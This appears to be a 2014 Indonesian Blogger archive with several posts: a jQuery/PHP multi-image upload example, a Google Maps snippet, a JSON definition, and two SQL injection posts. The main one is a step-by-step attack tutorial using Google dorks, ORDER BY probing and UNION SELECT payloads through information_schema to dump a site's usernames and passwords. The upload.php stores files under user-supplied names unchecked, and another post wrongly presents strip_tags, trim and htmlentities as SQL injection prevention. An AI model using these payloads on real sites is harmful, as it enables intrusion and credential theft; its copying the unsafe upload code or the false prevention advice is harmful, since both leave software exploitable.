<b><!DOCTYPE html><br /><html lang="en"><br /><head><br /> <meta charset="UTF-8" /><br /> <title>HTML5 File API</title><br /> <style><br /> #main {<br /> width: 300px;<br /> margin:auto;<br /> background: #ececec;<br /> padding: 20px;<br /> border: 1px solid #ccc;<br />}<br /><br />#image-list {<br /> list-style:none;<br /> margin:0;<br /> padding:0;<br />}<br />#image-list li {<br /> background: #fff;<br /> border: 1px solid #ccc;<br /> text-align:center;<br /> padding:20px;<br /> margin-bottom:19px;<br />}<br />#image-list li img {<br /> width: 258px;<br /> vertical-align: middle;<br /> border:1px solid #474747;<br />}<br /><br /> </style><br /></head><br /><body><br /> <div id="main"><br /> <input type="file" name="images" id="images" multiple /><br /> <button type="submit" id="btn">Upload Files!</button><br /> <br /><br /> <div id="response"></div><br /> <ul id="image-list"><br /><br /> </ul><br /> </div><br /> <br /> <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js"></script><br /> <script src="upload.js"></script><br /></body><br /></html><br /> </b><br />
pastikan anda terhubung pada internet, karena pada contoh diatas <b> </b>kode <b> <br /> <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js"></script> </b>mengambil source dari link terkait.<br />
<br />
lalu ini file php untuk proses pemindahan file ke server<br />
<br />
upload.php<br />
<b><?php<br /><br />foreach ($_FILES["images"]["error"] as $key => $error) {<br /> if ($error == UPLOAD_ERR_OK) {<br /> $name = $_FILES["images"]["name"][$key];<br /> move_uploaded_file( $_FILES["images"]["tmp_name"][$key], "uploads/" . $_FILES['images']['name'][$key]);<br /> }<br />}<br /><br /><br />echo "<h2>Successfully Uploaded Images</h2>";</b><br />
<br />
lalu ini file js. untuk membuat thumbnailnya<br />
<br />
upload.js<br />
<br />
<b>(function () {<br /> var input = document.getElementById("images"), <br /> formdata = false;<br /><br /> function showUploadedItem (source) {<br /> var list = document.getElementById("image-list"),<br /> li = document.createElement("li"),<br /> img = document.createElement("img");<br /> img.src = source;<br /> li.appendChild(img);<br /> list.appendChild(li);<br /> } <br /><br /> if (window.FormData) {<br /> formdata = new FormData();<br /> document.getElementById("btn").style.display = "none";<br /> }<br /> <br /> input.addEventListener("change", function (evt) {<br /> document.getElementById("response").innerHTML = "Uploading . . ."<br /> var i = 0, len = this.files.length, img, reader, file;<br /> <br /> for ( ; i < len; i++ ) {<br /> file = this.files[i];<br /> <br /> if (!!file.type.match(/image.*/)) {<br /> if ( window.FileReader ) {<br /> reader = new FileReader();<br /> reader.onloadend = function (e) { <br /> showUploadedItem(e.target.result, file.fileName);<br /> };<br /> reader.readAsDataURL(file);<br /> }<br /> if (formdata) {<br /> formdata.append("images[]", file);<br /> }<br /> } <br /> }<br /> <br /> if (formdata) {<br /> $.ajax({<br /> url: "upload.php",<br /> type: "POST",<br /> data: formdata,<br /> processData: false,<br /> contentType: false,<br /> success: function (res) {<br /> document.getElementById("response").innerHTML = res; <br /> }<br /> });<br /> }<br /> }, false);<br />}());</b><br />
<b></b><br />
<b></b><br />
<b></b><br />
<b></b><br />
<b></b><br />
<b></b><br />
<br />
tampilan dibawah ini merupakan hasil dari kode diatas<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0E_0wPohrOe0fZ0RgPcOYCnA8ZnAYPOgw9V6-18fVRjDP280TBoh-NK5EONyaXJOiX0FuqF-JXdE5LmwSX-gLIIdC0K3G85Z3b_QMSVzNTJehPYPx2_QPe1DBH-6fTg13e5PpdOpiPwUR/s1600/Screenshot+from+2014-01-09+17:39:28.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi0E_0wPohrOe0fZ0RgPcOYCnA8ZnAYPOgw9V6-18fVRjDP280TBoh-NK5EONyaXJOiX0FuqF-JXdE5LmwSX-gLIIdC0K3G85Z3b_QMSVzNTJehPYPx2_QPe1DBH-6fTg13e5PpdOpiPwUR/s1600/Screenshot+from+2014-01-09+17:39:28.png" /></a></div>
<br />Deden Hendra Permanahttp://www.blogger.com/profile/00954481177466485990noreply@blogger.com0tag:blogger.com,1999:blog-5222088577600093189.post-11992188195639069272014-01-08T15:58:00.001-08:002014-01-08T15:58:55.259-08:00SQL INJECTION PART II<div style="text-align: justify;">
<span class="text_exposed_show">Pengertian SQL INJECTION:</span></div>
Sebelum kita mengetahui apa itu pengertian SQL Injection, kita
ketahui dulu apa arti dari SQL itu sendiri. Pengertian SQL itu sendiri
adalah sebuah bahasa yang dirancang khusus untuk dapat berkomunikasi
dengan database. SQL dibagi menjadi dua bagian yaitu<br />
DDL (Data Definition Language) adalah perintah-perintah SQL yang
berhubungan dengan modifikasi database seperti membuat database, membuat
tabel, index, menghapus tabel, index dan sejenisnya.<br />
DML (data Manipulation Language) adalah perintah-perintah SQL untuk
memodifikasi isi database dan (khususnya) tabel seperti menambah data,
mengedit, menghapus, mengelompokkan, merelasikan data dan sejenisnya.<br />
Setelah kita mengetahui apa arti SQL itu sendiri, baru deh kita masuk ke pengertian SQL Injection. <img alt=":D" class="wp-smiley" src="http://s0.wp.com/wp-includes/images/smilies/icon_biggrin.gif?m=1129645325g" /> <br />
<br />
SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi
client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi
clien dan juga merupakan teknik mengeksploitasi web aplikasi yang
didalamnya menggunakan database untuk penyimpanan data.<br />
<br />
Yang perlu di ketahui sebelum sql injection pada mysql:<br />
karakter: ‘ atau -<br />
comments: /* atau –<br />
information_schema untuk versi: mysql versi 5.x , tidak support untuk mysql versi 4.x<br />
<br />
<br />
<br />
1. Cari Target + Bugnya<br />
Cara mencarinya adalah dengan dork sql injection. Misalnya
“inurl:index.php?id=” search dengan om GOOGLE, lalu misalkan kita
mendapatkan alamat situs<a href="http://www.target.com/index.php?id=4" rel="nofollow" target="_blank">http://www.target.com/index.php?id=4</a><br />
Lalu untuk mengetahui suatu web memiliki bug SQL injection, tambahkan sebuah<br />
tanda petik pada akhir url, sehingga urlnya menjadi<br />
<a href="http://www.target.com/index.php?id=4" rel="nofollow" target="_blank">http://www.target.com/index.php?id=4</a>’<br />
dan apa yang terjadi pada situs tersebut??<br />
Situsnya menampilkan pesan error, dan berarti parameter id tidak di filter dengan<br />
baik atau bahkan tidak difilter sama sekali, untuk mengetahui suatu web<br />
aplikasi memiliki bug SQL Injection salah satunya adalah menggunakan perintah<br />
<br />
and+1=1–<br />
<br />
<br />
Ketika di tambahkan parameter +and+1=1– pada akhir URL, situsnya tampil<br />
dengan normal karna 1=1 menghasilkan nilai true.<br />
<br />
<br />
<a href="http://www.target.com/" rel="nofollow" target="_blank">http://www.target.com/</a> /index.php?id=4+and+1=1–<br />
<br />
Dan ketika di tambahkan parameter +and+1=2– isi berita tidak ditampilkan karna<br />
1=2 hasilnya false dan ini membuktikan bahwa web aplikasi tersebut 99.9%<br />
memiliki bug SQL Injection<br />
<br />
<a href="http://www.target.com/index.php?id=4+and+1%3D2" rel="nofollow" target="_blank">http://www.target.com/index.php?id=4+and+1%3D2</a>–<br />
<br />
<br />
2. Cari Column Yang Memiliki Celah Injection<br />
Setelah saya tau bahwa web applikasi tersebut memiliki Bug SQL Injection saya<br />
harus mencari tau nama table dan colom, tapi sebelum itu saya harus mencari tau<br />
pada colomn ke berapa saya bisa melakukan Injection, untuk itu saya menggunakan<br />
perintah order by perhatikan url berikut.<br />
<br />
<a href="http://www.target.com/index.php?id=4+order+by+1" rel="nofollow" target="_blank">http://www.target.com/index.php?id=4+order+by+1</a>–<br />
<a href="http://www.target.com/index.php?id=4+order+by+2" rel="nofollow" target="_blank">http://www.target.com/index.php?id=4+order+by+2</a>–<br />
<a href="http://www.target.com/index.php?id=4+order+by+3" rel="nofollow" target="_blank">http://www.target.com/index.php?id=4+order+by+3</a>–<br />
<a href="http://www.target.com/index.php?id=4+order+by+4" rel="nofollow" target="_blank">http://www.target.com/index.php?id=4+order+by+4</a>–<br />
<a href="http://www.target.com/index.php?id=4+order+by+5" rel="nofollow" target="_blank">http://www.target.com/index.php?id=4+order+by+5</a>–<br />
<br />
<br />
url diatas jika di coba satu persatu akan menampilkan situsnya secara normal.<br />
Tapi ketika saya menginputnya dengan<br />
<br />
order+by+6–<br />
<br />
apa yang terjadi??? Browser menampilkan pesan error.<br />
Dari pesan error tersebut bisa dipastikan terdapat 5 buah colomn yang terdapat di<br />
salah satu table yang belum kita ketahui namanya.<br />
Berarti yang kita ambil sampai +order+by+5–<br />
<br />
<br />
3. Gunakan perintah Union select<br />
Setelah saya mengetahui terdapat 5 buah colomn pada target, selanjutnya yaitu<br />
mencari colomn yang bisa dilakukan injeksi. Untuk itu saya menggunakan perintah<br />
union select (pakai union all select juga bisa kok…) sehingga urlnya menjadi<br />
<br />
<a href="http://www.target.com/index.php?id=4+union+select+1%2C2%2C3%2C4%2C5" rel="nofollow" target="_blank">http://www.target.com/index.php?id=4+union+select+1%2C2%2C3%2C4%2C5</a>–<br />
<br />
<br />
Dan apa yang tampak di browser tidak ada yang aneh bukan situsnya tampil dengan Normal.<br />
Tetapi jika parameter id saya ganti menjadi -4 yang pastinya tidak ada isi data -4 di<br />
Database. Oke seumpama browser menampilkan angka 2 & 3, dan angka
inilah yang sering disebut dengan angka ajaib, karna angka tersebut
adalah letak colomn dimana attacker bisa<br />
melakukan injeksi lebih lanjut.<br />
<br />
<br />
<a href="http://www.target.com/" rel="nofollow" target="_blank">http://www.target.com/</a> /index.php?id=-4+union+select+1,2,3,4,5–<br />
<br />
<br />
4. Cari informasi database target<br />
Dengan tampilnya angka ajaib tersebut anda bisa ‘mengintip’ beberapa informasi<br />
seperti nama database, nama user database, versi database, sessi user dll.<br />
Untuk melihat nama database injeksi urlnya menjadi<br />
<br />
<a href="http://www.target.com/index.php?id=-4+union+select+1%2Cdatabase%28%29%2C3%2C4%2C5" rel="nofollow" target="_blank">http://www.target.com/index.php?id=-4+union+select+1%2Cdatabase%28%29%2C3%2C4%2C5</a>–<br />
<br />
Dan seumpama browser menampilkan nama database yaitu xyb_injector.<br />
Saya mencoba mengintip lagi nama user database pada situs tersebut dengan<br />
menginjeksinya pada colomn ke-2 dan versi pada colomn ke-3 dan url injeksinya<br />
menjadi<br />
<br />
<a href="http://www.target.com/index.php?id=-4+union+select+1%2Cuser%28%29%2Cversion%28%29%2C4%2C5" rel="nofollow" target="_blank">http://www.target.com/index.php?id=-4+union+select+1%2Cuser%28%29%2Cversion%28%29%2C4%2C5</a>–<br />
<br />
Ternyata user dabasenya root@localhost dan beruntung sekali karna versi<br />
mysql yang di gunakan adalah versi 5.0.51a-community, lho emang versi 5<br />
kenapa om???mendingan versi 5 soalnya saya ngerti, dari pada versi 4 saya ga ngerti, hehe<br />
<br />
Coba anda perhatikan, anda hanya bisa meng-injeksi satu perintah pada satu<br />
columns, bisakah meng-injeksi lebih dari satu perintah pada satu colums??? heheheh<br />
tentu saja bisa dong, untuk itu anda bisa menggunakan perintah yang sudah<br />
disediakan langsung oleh mysql yaitu perintah concat(perintah1,perintah2).<br />
contoh dibawah ini saya meng-intip nama user dan nama database pada colomn ke-<br />
2 dan pada kolom ke 3 saya mengintip versi databasenya.<br />
<br />
<a href="http://www.target.com/index.php?id=-4+union+select+1%2Cconcat" rel="nofollow" target="_blank">http://www.target.com/index.php?id=-4+union+select+1%2Cconcat</a>(user(),0x3a,database()),version(),4,5–<br />
<br />
<br />
5. Dapatkan Nama Table<br />
Saya sudah mendapatkan informasi database web aplikasi terserbut, sebenarnya<br />
yang saya butuhkan hanyalah versi databasenya saja, seperti yang sudah anda lihat,<br />
versi database yang ditampilkan adalah 5.0.51a-community dan tentu ini<br />
memudahkan saya dalam mendapatkan table dengan menggunakan perintah<br />
table_name pada coloms yang memiliki bug yaitu 2 atau 3, pada akhir statement<br />
tambahkan<br />
<br />
from+information_schema.tables+where+table_schema=database()+limit+0,1–<br />
<br />
sehingga urlnya menjadi<br />
<br />
<a href="http://www.target.com/index.php?id=-4+union+select+1%2C2%2Ctable_name%2C4%2C5+from+information_schema.tables+where+table_schema%3Ddatabase%28%29+limit+0%2C1" rel="nofollow" target="_blank">http://www.target.com/index.php?id=-4+union+select+1%2C2%2Ctable_name%2C4%2C5+from+information_schema.tables+where+table_schema%3Ddatabase%28%29+limit+0%2C1</a>–<br />
<br />
Seumpama tampil sebuah table bernama “table_attacker”.<br />
Untuk melihat seluruh table sekaligus gunakan perintah group_concat(table_name)<br />
pada colomn yang memiliki bug, sehingga urlnya menjadi<br />
<br />
<a href="http://www.target.com/index.php?id=-4+union+select+1%2C2%2Cgroup_concat%28table_name%29%2C4%2C5+from+information_schema.tables+where+table_schema%3Ddatabase%28%29" rel="nofollow" target="_blank">http://www.target.com/index.php?id=-4+union+select+1%2C2%2Cgroup_concat%28table_name%29%2C4%2C5+from+information_schema.tables+where+table_schema%3Ddatabase%28%29</a>–<br />
<br />
<br />
Hohoho seep, seluruh table berhasil saya dapatkan, diantara table tersebut, table<br />
manakah yang harus saya telusuri lebih jauh lagi??? table_user sepertinya menarik<br />
<img alt=":P" class="wp-smiley" src="http://s2.wp.com/wp-includes/images/smilies/icon_razz.gif?m=1129645325g" /> yuk kita lihat apa isinya.<br />
<br />
6. Dapatkan Nama Colomns<br />
table_user sudah saya dapatkan selanjutnya yaitu mencari nama colomns pada table<br />
tersebut, untuk itu saya menggunakan perintah group_concat(column_name) sehingga urlnya<br />
menjadi.<br />
<br />
<a href="http://www.target.com/index.php?id=-4+union+select+1%2C2%2Cgroup_concat%28column_name%29%2C4%2C5+from+information_schema.columns+where+table_name%3D0xhexa" rel="nofollow" target="_blank">http://www.target.com/index.php?id=-4+union+select+1%2C2%2Cgroup_concat%28column_name%29%2C4%2C5+from+information_schema.columns+where+table_name%3D0xhexa</a>–<br />
<br />
<br />
pada tahap ini kamu wajib mengextrak kata yang keluar pada isi table tadi menjadi hexadecimal yaitu dengan cara mengkonversinya<br />
website yg digunakan untuk konversi :<br />
<br />
<a href="http://www.string-functions.com/string-hex.aspx" rel="nofollow" target="_blank">http://www.string-functions.com/string-hex.aspx</a><br />
<br />
contoh kata yg ingin di konversi yaitu table_user maka akan menjadi
7461626c655f75736572 ini masih belum selesai, anda harus menambahkan<br />
angka 0 dan huruf x pada awal hasil hexa tersebut sehingga hasilnya menjadi<br />
0x7461626c655f75736572 dan inilah yang akan kita injeksikan pada nama tabel.<br />
sehingga urlnya menjadi<br />
<br />
<a href="http://www.target.com/index.php?id=-4+union+select+1%2C2%2Cgroup_concat%28column_name%29%2C4%2C5+from+information_schema.columns+where+table_name%3D0x7461626c655f75736572" rel="nofollow" target="_blank">http://www.target.com/index.php?id=-4+union+select+1%2C2%2Cgroup_concat%28column_name%29%2C4%2C5+from+information_schema.columns+where+table_name%3D0x7461626c655f75736572</a>–<br />
<br />
<br />
Alhasil nama colom dari table_user sudah saya dapatkan yaitu user_id dan<br />
password_id.<br />
<br />
7. Dapatkan Usename & Password.<br />
Saya sudah mendapatkan nama table “table_user” yang berisi 2 buah colomn yaitu<br />
“user_id” dan “password_id” dan akhirnya anda sudah sampai di detik-detik<br />
terakhir yaitu menampilkan isi data dari colomn tersebut. Tambahkan
0x3a pada group_concat(hasil isi column yg mau dikeluarkan,0x3a, hasil
isi column yg mau dikeluarkan)<br />
perintah +from+(nama table berasal) -> dimasukkan setelah angka terakhir<br />
sehingga urlnya menjadi :<br />
<br />
<a href="http://www.target.com/index.php?id=-4+union+select+1%2C2%2Cgroup_concat%28user_id%2C0x3a%2Cpassword_id%29%2C4%2C5+from+table_user" rel="nofollow" target="_blank">http://www.target.com/index.php?id=-4+union+select+1%2C2%2Cgroup_concat%28user_id%2C0x3a%2Cpassword_id%29%2C4%2C5+from+table_user</a>–<br />
<br />
Tampilah seluruh username dan password dari situs tersebut dan ini sangat<br />
membahayakan jika attacker berhasil melakukan cracking pada password tersebut.<br />
attacker bisa saja melakukan aksi defacing seperti yang akhir-akhir ini sedang marak<br />
di beritakan.<br />
<br />
sumber http://komputerpamungkas.wordpress.com/2011/04/03/tutorial-sql-injection/ Deden Hendra Permanahttp://www.blogger.com/profile/00954481177466485990noreply@blogger.com0tag:blogger.com,1999:blog-5222088577600093189.post-49724246701606950062014-01-08T08:58:00.001-08:002014-01-08T08:58:20.515-08:00SQL INJECTIONsalah satu hal terpenting dalam security di web yaitu sql injection. php menyediakan beberapa fungsi yang dapat digunakan untuk mencegahnya, berikut ini fungsi yang dapat digunakan :<br />
<br />
<ul>
<li>Strip_tags() : digunakan untuk menghilangkan karakter-karakter html dari value yg diinputkan, misalnya pada form login atau guest book.</li>
</ul>
<ul>
<li>trim() : digunakan untuk menghilangkan spasi kanan dan kiri. </li>
</ul>
<ul>
<li>htmlentities() : digunakan untuk mengubah kode-kode html menjadi karakter biasa.</li>
</ul>
cara pemakaian<br />
<br />
<?php<br />
$isi = "<b> Ini contoh </b>";<br />
<br />
$strip = strip_tags($isi);<br />
$trim = trim($isi);<br />
$html= htmlentities($isi);<br />
<br />
echo "ini contoh strip_tags() ".$strip;<br />
echo "<br> ini contoh trim() ".$trim;<br />
echo "<br> ini contoh htmlentities() ".$html;<br />
<br />
?><br />
<br />
mah seperti itulah beberapa fungsi yang dapat digunakan dalam pencegahan sql injection. semoga bermanfaatDeden Hendra Permanahttp://www.blogger.com/profile/00954481177466485990noreply@blogger.com0tag:blogger.com,1999:blog-5222088577600093189.post-81994667022937654192014-01-07T09:34:00.000-08:002014-01-07T10:22:51.986-08:00Membuat Peta Dengan Google Mapssebenarnya sudah lama ingin memposting artikel mengenai ini, hanya saja.. ya biasa masalah deadline dan sebagainya yang menghambat untuk meluncurkan tulisan mengenai maps ini. mumpung waktunya pas semoga bisa bermanfaat :D<br />
<br />
dengan adanya google maps, kita bisa memanfaatkan API yang sudah dengan baiknya google buat kita bisa menggunakannya secara free. sekarang kita akan coba membuat peta yang menampilkan kawasan Indonesia sebagai center view (pusat perhatian pada saat website di buka). berikut ini kodenya<br />
<b><br /></b>
<b>peta.html</b><br />
<b><br /></b>
<b><!DOCTYPE html><br /><br /><html><br /> <head><br /> <meta name="viewport" content="initial-scale=1.0, user-scalable=no"><br /> <meta charset="UTF-8"><br /><br /> <title>Google Maps</title><br /><br /> <link href="/apis/fusiontables/docs/samples/style/default.css"<br /> rel="stylesheet" type="text/css"><br /> <script type="text/javascript"<br /> src="http://maps.google.com/maps/api/js?sensor=false"></script><br /><br /> <script type="text/javascript"><br /> function initialize() {<br /> var tableId = '1ag1g0AguWSczmuXhOudN1XMXTCys8_gwjiUIfg';<br /><br /> var map = new google.maps.Map(document.getElementById('map-canvas'), {<br /> center: new google.maps.LatLng(-6.327827980262304, 106.67339647284699),<br /> zoom: 4,<br /> mapTypeId: google.maps.MapTypeId.ROADMAP<br /> });<br /><br /> <br /> }<br /><br /> google.maps.event.addDomListener(window, 'load', initialize);<br /> </script><br /> </head><br /> <body><br /> <div id="map-canvas" style="width:650px; height:450px"></div><br /><br /> </body><br /></html></b><br />
<br />
hasil dari kode diatas adalah<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmaEr8EHJ4mHirH4jH7kdSl1OD7CnpluvL7SibC-gMrjV32FYUIViyvE8QLVOALqzEdOrdaPVcNGr0JdrJqZYxL6ToSWSLbFraUyM1bVtzweYgUmgRU0kodF6FrWdRB6INoEtzMhs9DNfH/s1600/maps.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmaEr8EHJ4mHirH4jH7kdSl1OD7CnpluvL7SibC-gMrjV32FYUIViyvE8QLVOALqzEdOrdaPVcNGr0JdrJqZYxL6ToSWSLbFraUyM1bVtzweYgUmgRU0kodF6FrWdRB6INoEtzMhs9DNfH/s1600/maps.png" height="179" width="320" /></a></div>
<br />
<br />Deden Hendra Permanahttp://www.blogger.com/profile/00954481177466485990noreply@blogger.com0tag:blogger.com,1999:blog-5222088577600093189.post-42571895846493334982014-01-07T09:20:00.001-08:002014-01-08T08:58:50.917-08:00Apa Itu JSON ?dari 2 artikel yang telah dibuat, mungkin anda bertanya-tanya belum tau apa itu JSON yang sesungguhnya, berikut kutipan (sumber http://id.wikipedia.org/wiki/JSON)<br />
<br />
<b>JSON</b> (dilafalkan "Jason"), singkatan dari <i>JavaScript Object Notation</i> (<a href="http://id.wikipedia.org/wiki/Bahasa_Indonesia" title="Bahasa Indonesia">bahasa Indonesia</a>: notasi objek JavaScript), adalah suatu <a class="new" href="http://id.wikipedia.org/w/index.php?title=Format&action=edit&redlink=1" title="Format (halaman belum tersedia)">format</a> ringkas pertukaran data <a href="http://id.wikipedia.org/wiki/Komputer" title="Komputer">komputer</a>. Formatnya berbasis teks dan terbaca-manusia serta digunakan untuk merepresentasikan <a href="http://id.wikipedia.org/wiki/Struktur_data" title="Struktur data">struktur data</a> sederhana dan <a class="new" href="http://id.wikipedia.org/w/index.php?title=Larik_asosiatif&action=edit&redlink=1" title="Larik asosiatif (halaman belum tersedia)">larik asosiatif</a>
(disebut objek). Format JSON sering digunakan untuk mentransmisikan
data terstruktur melalui suatu koneksi jaringan pada suatu proses yang
disebut <a href="http://id.wikipedia.org/wiki/Serialisasi" title="Serialisasi">serialisasi</a>. Aplikasi utamanya adalah pada pemrograman <a href="http://id.wikipedia.org/wiki/Aplikasi_web" title="Aplikasi web">aplikasi web</a> <a href="http://id.wikipedia.org/wiki/AJAX" title="AJAX">AJAX</a> dengan berperan sebagai alternatif terhadap penggunaan tradisional format <a href="http://id.wikipedia.org/wiki/XML" title="XML">XML</a>.<br />
Walaupun JSON didasarkan pada subset <a href="http://id.wikipedia.org/wiki/Bahasa_pemrograman" title="Bahasa pemrograman">bahasa pemrograman</a> <a href="http://id.wikipedia.org/wiki/JavaScript" title="JavaScript">JavaScript</a> (secara spesifik, edisi ketiga standar ECMA-262, Desember 1999 <sup class="reference" id="cite_ref-1"><a href="http://id.wikipedia.org/wiki/JSON#cite_note-1">[1]</a></sup>)
dan umumnya digunakan dengan bahasa tersebut, JSON dianggap sebagai
format data yang tak tergantung pada suatu bahasa. Kode untuk pengolahan
dan pembuatan data JSON telah tersedia untuk banyak jenis bahasa
pemrograman. Situs json.org menyediakan daftar komprehensif pengikatan
JSON yang tersedia, disusun menurut bahasa.Deden Hendra Permanahttp://www.blogger.com/profile/00954481177466485990noreply@blogger.com0